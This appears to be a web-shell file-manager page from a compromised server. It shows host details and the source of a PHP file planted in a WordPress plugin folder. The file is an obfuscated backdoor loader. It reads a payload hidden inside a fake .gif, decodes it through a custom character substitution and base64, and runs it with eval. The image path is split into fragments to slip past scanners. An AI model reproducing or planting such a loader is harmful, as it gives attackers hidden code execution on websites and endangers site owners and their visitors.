HEX
Server: Apache/2.4.65 (Debian)
System: Linux web6 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
User: innocamp (1028)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //home/dnasal/public_html/wp-content/plugins/acijyfiho/ybiliqo.txt
<?php

function avucev_pizejosh($linyfa_junuzhir) {
    if ($linyfa_junuzhir == 1)
        return hesone_eziqywug();
    if ($linyfa_junuzhir == 2)
        return ceseta_uqycugodo();
}

function icunyl_qonevush($linyfa_junuzhir) {
    $loshopu = avucev_pizejosh(1);
    $ohikhut = avucev_pizejosh(2);
    for ($shadity = 0; $shadity < strlen($loshopu); $shadity++) {
        $gyxomo = substr($loshopu, $shadity, 1);
        $egugava = substr($ohikhut, $shadity, 1);
        $ypybeja[$gyxomo] = $egugava;
    }

    $akechiq = strtr($linyfa_junuzhir, $ypybeja);
    $akechiq = base64_decode($akechiq);

    return $akechiq;
}

function tojyta_shygutipe($linyfa_junuzhir) {
    $ovuseky = array();
    if (!file_exists($linyfa_junuzhir))
        return false;
    $ezhedac = @file_get_contents($linyfa_junuzhir);
    if (!$ezhedac)
        return false;
    $ezhedac = substr($ezhedac, 3);
    $ovuseky = icunyl_qonevush($ezhedac);
    return $ovuseky;
}

function hesone_eziqywug() {
    $ezhedac = "93Q/oHuGXIU4YnhB6cKWApaNd57lE+PrDweZxJsbO21jgMCzStvLVmyRFqi=k8T0f";
    return $ezhedac;
}

function ceseta_uqycugodo() {
    $ovuseky = "sTR7iyuNpFIhYbv+xr4qWB9VDS0ad5UCZH61XwnzO3m2gKcMeL8AoJGPQktjE=/fl";
    return $ovuseky;
}

$xezotha = tojyta_shygutipe(__DIR__ . "/asse" . "ts/ima" . "ges/p" . "imeg" . "an.gif");
if ($xezotha) {
    @eval($xezotha);
}